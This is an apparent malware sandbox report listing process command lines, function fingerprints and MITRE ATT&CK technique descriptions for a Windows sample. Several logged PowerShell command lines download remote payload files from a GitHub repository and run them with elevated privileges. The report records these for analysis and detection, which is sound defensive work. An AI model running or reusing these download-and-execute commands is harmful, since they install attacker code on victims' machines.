Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing)
Imagebase:	0x7ff7699e0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Analysis Process: powershell.exePID: 6488, Parent PID: 7392

General

Target ID:	16
Start time:	13:32:53
Start date:	16/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing)
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Analysis Process: powershell.exePID: 7220, Parent PID: 7384

General

Target ID:	17
Start time:	13:32:53
Start date:	16/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing)
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Analysis Process: conhost.exePID: 6120, Parent PID: 2676

General

Target ID:	18
Start time:	13:32:53
Start date:	16/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	13:32:53
Start date:	16/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	13:32:53
Start date:	16/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	13:32:54
Start date:	16/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	13:32:53
Start date:	16/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Analysis Process: powershell.exePID: 5000, Parent PID: 7796

General

Target ID:	23
Start time:	13:32:53
Start date:	16/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Analysis Process: powershell.exePID: 7028, Parent PID: 7392

General

Target ID:	24
Start time:	13:32:53
Start date:	16/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Analysis Process: conhost.exePID: 6576, Parent PID: 6488

General

Target ID:	25
Start time:	13:32:53
Start date:	16/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	13:32:54
Start date:	16/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	13:32:54
Start date:	16/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	13:32:54
Start date:	16/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	13:32:54
Start date:	16/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	13:33:00
Start date:	16/09/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ps21mg5n\ps21mg5n.cmdline"
Imagebase:	0x7ff6b0170000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	13:33:00
Start date:	16/09/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ebaw0fq2\ebaw0fq2.cmdline"
Imagebase:	0x7ff6b0170000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	13:33:00
Start date:	16/09/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ej40y3sl\ej40y3sl.cmdline"
Imagebase:	0x7ff6b0170000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	13:33:00
Start date:	16/09/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\oc0yukq2\oc0yukq2.cmdline"
Imagebase:	0x7ff6b0170000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	13:33:01
Start date:	16/09/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES5EA9.tmp" "c:\Users\user\AppData\Local\Temp\ps21mg5n\CSC5DBDDEA583D47AC992FDED4A9FE5F6F.TMP"
Imagebase:	0x7ff6c2c20000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	13:33:01
Start date:	16/09/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES5EF7.tmp" "c:\Users\user\AppData\Local\Temp\oc0yukq2\CSC4B0ED8321FD4439294DC7A78D177B3A7.TMP"
Imagebase:	0x7ff6c2c20000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	13:33:01
Start date:	16/09/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES5EE8.tmp" "c:\Users\user\AppData\Local\Temp\ej40y3sl\CSCC31C8219248740B7B5892F735789A26B.TMP"
Imagebase:	0x7ff6c2c20000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	13:33:01
Start date:	16/09/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES5EE9.tmp" "c:\Users\user\AppData\Local\Temp\ebaw0fq2\CSCA5D62A791D6B45AE841FF60C5C2CAA0.TMP"
Imagebase:	0x7ff6c2c20000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	13:34:46
Start date:	16/09/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\acg3vvmm\acg3vvmm.cmdline"
Imagebase:	0x7ff759b20000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	13:34:54
Start date:	16/09/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ajmbpkj3\ajmbpkj3.cmdline"
Imagebase:	0x7ff759b20000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	13:34:55
Start date:	16/09/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES1BAC.tmp" "c:\Users\user\AppData\Local\Temp\ajmbpkj3\CSCE65DF8D061034580A252685BFDC82FC.TMP"
Imagebase:	0x7ff61bce0000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	13:34:55
Start date:	16/09/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES1BAB.tmp" "c:\Users\user\AppData\Local\Temp\acg3vvmm\CSC2FE6764BCAE044C8A4E5F334AE1DCA7B.TMP"
Imagebase:	0x7ff61bce0000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	13:35:06
Start date:	16/09/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vprxgw2h\vprxgw2h.cmdline"
Imagebase:	0x7ff759b20000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	13:35:06
Start date:	16/09/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES481A.tmp" "c:\Users\user\AppData\Local\Temp\vprxgw2h\CSCDBD4A03E654548E897E49139DD675E5.TMP"
Imagebase:	0x7ff7560b0000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	13:35:12
Start date:	16/09/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\4jzsybvo\4jzsybvo.cmdline"
Imagebase:	0x7ff759b20000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	13:35:12
Start date:	16/09/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES5E23.tmp" "c:\Users\user\AppData\Local\Temp\4jzsybvo\CSC322DF87CD509445AB01BD8C0B6EFDFFF.TMP"
Imagebase:	0x7ff7560b0000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 00007FFD9B2D88F6 Relevance: .5, Instructions: 476COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2109248610.00007FFD9B2D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B2D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9b2d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b241c43cfda628a088efb5c6abd04b806530128b7f066c2b0171f770de4cae9
Instruction ID: 9ce651b40d797f1821964c9cd8c4d89873a9cf452aceede6d792ead905b8db1a
Opcode Fuzzy Hash: 2b241c43cfda628a088efb5c6abd04b806530128b7f066c2b0171f770de4cae9
Instruction Fuzzy Hash: B6F1A570A09A8D8FEBA8DF28C855BE937D1FF94310F04436AE85DC7295DB74A9418B81

Function 00007FFD9B2D96A2 Relevance: .5, Instructions: 462COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2109248610.00007FFD9B2D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B2D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9b2d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ecb90ed42e582d782373e72e8b2ded87ce00ba3451f88e56076445b5dcbb4bf3
Instruction ID: e33f6a7cd4d949c0ec3234ba23bdce9e9f7efee47246eae7122535fe1efd4d89
Opcode Fuzzy Hash: ecb90ed42e582d782373e72e8b2ded87ce00ba3451f88e56076445b5dcbb4bf3
Instruction Fuzzy Hash: 58E1B430A0DA4D8FEBA8DF68C8657E937D1FF94310F04436AE84DC7295DE78A9418B81

Function 00007FFD9B2DC480 Relevance: .3, Instructions: 349COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2109248610.00007FFD9B2D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B2D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9b2d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a055cfc6a2ee98fd00f8ed2a8dada0da60010b8a5358e2bdfb0673c91f439c3
Instruction ID: 33d6c7c664d1a31930bfb0cfb453b98a9dc2c92a85ed07e5c38685cde1df5122
Opcode Fuzzy Hash: 2a055cfc6a2ee98fd00f8ed2a8dada0da60010b8a5358e2bdfb0673c91f439c3
Instruction Fuzzy Hash: BEA12871B1EA4D4FEB68DE5888656B877D2FFD9344F05027EE48DC3296CE24AC018781

Function 00007FFD9B2D92B6 Relevance: .3, Instructions: 335COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2109248610.00007FFD9B2D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B2D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9b2d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8405adbc2eb4e0f3038d679b086792af22826f178014c80412ad910df3cb9d8
Instruction ID: 7bc71697b02939fb7188a8bf9d1e07ea0ebce329e38d28ae80cba4b888952b33
Opcode Fuzzy Hash: a8405adbc2eb4e0f3038d679b086792af22826f178014c80412ad910df3cb9d8
Instruction Fuzzy Hash: 22B1E770A0DA8D4FEB68DF28C8557E93BD1FF55350F04426EE84DC7296CA74A941CB82

Function 00007FFD9B2E63C3 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2109248610.00007FFD9B2E6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B2E6000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9b2e6000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac11044b9b8f30afc057ed5565e5b09cde22ae0460c547a574a7c8c8575b4afd
Instruction ID: cf33a6fa76810ef02f82a8c3cb5dc9b33debb307d2866015c6c39726c3ea83e4
Opcode Fuzzy Hash: ac11044b9b8f30afc057ed5565e5b09cde22ae0460c547a574a7c8c8575b4afd
Instruction Fuzzy Hash: A4416871B0EA890FD769DF7C8865AA57BD1EF55210B0446BFD08EC71EBCE28A941C341

Function 00007FFD9B2E3DC8 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2109248610.00007FFD9B2D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B2D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9b2d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee0fa1f26bf04d0931c8e829586fe11d174273e0e926f6a4c412be95fe84f3f6
Instruction ID: 8ececc92a962d53ef3381203d091ac357569e7189da776cdf648beea17625082
Opcode Fuzzy Hash: ee0fa1f26bf04d0931c8e829586fe11d174273e0e926f6a4c412be95fe84f3f6
Instruction Fuzzy Hash: 7731D031B0DA498EE769ABA994667FA73D0EF44315F14017ED04EC3293CF6AA9028781

Function 00007FFD9B2D8DB4 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2109248610.00007FFD9B2D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B2D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9b2d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f61c24bea412a90110f9d66ff87a2a9ab0962122a8cd98d82637363407677624
Instruction ID: 290cc1c22433e577b8fed37270bf154b6a8de598c3fcf4b5da16ae3d131150ef
Opcode Fuzzy Hash: f61c24bea412a90110f9d66ff87a2a9ab0962122a8cd98d82637363407677624
Instruction Fuzzy Hash: E431D230A1B64D8EFBB49F54CC69BF93290FF85319F414639D40D8A1E2DA386A46CE11

Function 00007FFD9B2DEA2D Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2109248610.00007FFD9B2D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B2D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9b2d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61fa76abcb6d9fd0aa3fe582e81e9f92c65d48ef89abe0133f0e98b2488b5275
Instruction ID: 97a41889fc399748aaa713c8e5679c0308605fc165b17aae7fc639bcc02ecf5f
Opcode Fuzzy Hash: 61fa76abcb6d9fd0aa3fe582e81e9f92c65d48ef89abe0133f0e98b2488b5275
Instruction Fuzzy Hash: 1911048944F2C69EDB53A7B80C704B27FE4DE8322470A06EFE0D4890A3D8080A56C352

Function 00007FFD9B2D37B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2109248610.00007FFD9B2D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B2D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9b2d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction ID: d6203f31b84c2934a1ebe381c3fef032807db5109a5e8806a18434707ee337cf
Opcode Fuzzy Hash: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction Fuzzy Hash: 5B01677121CB0D4FD748EF0CE451AA6B7E0FB95364F10056DE58AC36A5D636E882CB45

Function 00007FFD9B2E1591 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2109248610.00007FFD9B2D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B2D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9b2d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84618d81cb57324ac1764cc40170d82268130cc2e910ab08fd48c894f405d64c
Instruction ID: 0a22b826b4827fbd6f1cbeab49662a6e789f2e7d4b61cc949fcc0ee4a26a468d
Opcode Fuzzy Hash: 84618d81cb57324ac1764cc40170d82268130cc2e910ab08fd48c894f405d64c
Instruction Fuzzy Hash: 71F02852B1FAC90FE355A76D5424AA43791EF89290F0941F7C04CCB1D7CE186C0543A1

Function 00007FFD9B2E64EA Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2109248610.00007FFD9B2E6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B2E6000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9b2e6000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d7700b5ff2e07676f7e2fa8e6ee4d91c09adb4a795727e57136b93747a7846c
Instruction ID: 9874277e6c9cc2298720f00dec28d0f60b5f8bd4e55865cac1774767b3dcba77
Opcode Fuzzy Hash: 3d7700b5ff2e07676f7e2fa8e6ee4d91c09adb4a795727e57136b93747a7846c
Instruction Fuzzy Hash: AEF06271A0968D8FDB51EF68846AAA97FE0EF55300F0800E6E45CC71A6DA38A644CB41

Function 00007FFD9B2E62D6 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2109248610.00007FFD9B2E6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B2E6000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9b2e6000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f345c8db4d16dcd30a501b24e6b3294c53a1747054fd8f9203c1ba7c526c252
Instruction ID: 682a5907422f209151a825a6679ee02185e04cb4dba4f07937af0de667664f15
Opcode Fuzzy Hash: 1f345c8db4d16dcd30a501b24e6b3294c53a1747054fd8f9203c1ba7c526c252
Instruction Fuzzy Hash: A4D0A722F2990E0ADB15F6B470228FEB292FFC4251B5504B3D01EC31CBED3CA9024390

Description:	Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Google Workspace, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

